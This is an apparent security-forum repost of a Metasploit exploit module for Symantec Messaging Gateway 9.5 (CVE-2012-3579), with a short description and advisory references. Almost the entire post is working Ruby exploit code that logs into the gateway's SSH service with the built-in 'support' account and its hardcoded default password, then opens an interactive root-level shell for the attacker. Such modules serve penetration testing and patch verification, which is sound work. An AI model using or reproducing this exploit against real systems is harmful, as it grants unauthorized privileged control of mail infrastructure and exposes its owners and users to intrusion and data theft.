Jump to content
Fi8sVrs

Symantec Messaging Gateway 9.5 Default SSH Password

Recommended Posts

  • Active Members
Posted

This Metasploit module exploits a default misconfiguration flaw on Symantec Messaging Gateway. The 'support' user has a known default password, which can be used to login to the SSH service, and gain privileged access from remote.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Auxiliary::CommandShell

def initialize(info={})
super(update_info(info,
'Name' => "Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability",
'Description' => %q{
This module exploits a default misconfiguration flaw on Symantec Messaging Gateway.
The 'support' user has a known default password, which can be used to login to the
SSH service, and gain privileged access from remote.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Stefan Viehbock', #Original discovery
'Ben Williams', #Reporting the vuln + coordinated release
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2012-3579'],
['OSVDB', '85028'],
['BID', '55143'],
['URL', 'https://www.sec-consult.com/files/20120829-0_Symantec_Mail_Gateway_Support_Backdoor.txt'],
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20120827_00']
],
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
['Symantec Messaging Gateway 9.5', {}],
],
'Privileged' => true,
#Timestamp on Symantec advisory
#But was found on Jun 26, 2012
'DisclosureDate' => "Aug 27 2012",
'DefaultTarget' => 0))

register_options(
[
Opt::RHOST(),
Opt::RPORT(22)
], self.class
)

register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end


def rhost
datastore['RHOST']
end


def rport
datastore['RPORT']
end


def do_login(user, pass)
opts = {
:auth_methods => ['password', 'keyboard-interactive'],
:msframework => framework,
:msfmodule => self,
:port => rport,
:disable_agent => true,
:config => false,
:password => pass,
:record_auth_info => true,
:proxies => datastore['Proxies']
}

opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, user, opts)
end
rescue Rex::ConnectionError, Rex::AddressInUse
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end

if ssh
conn = Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
ssh = nil
return conn
end

return nil
end


def exploit
user = 'support'
pass = 'symantec'

print_status("#{rhost}:#{rport} - Attempt to login...")
conn = do_login(user, pass)
if conn
print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
handler(conn.lsock)
end
end
end

mirror

source

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...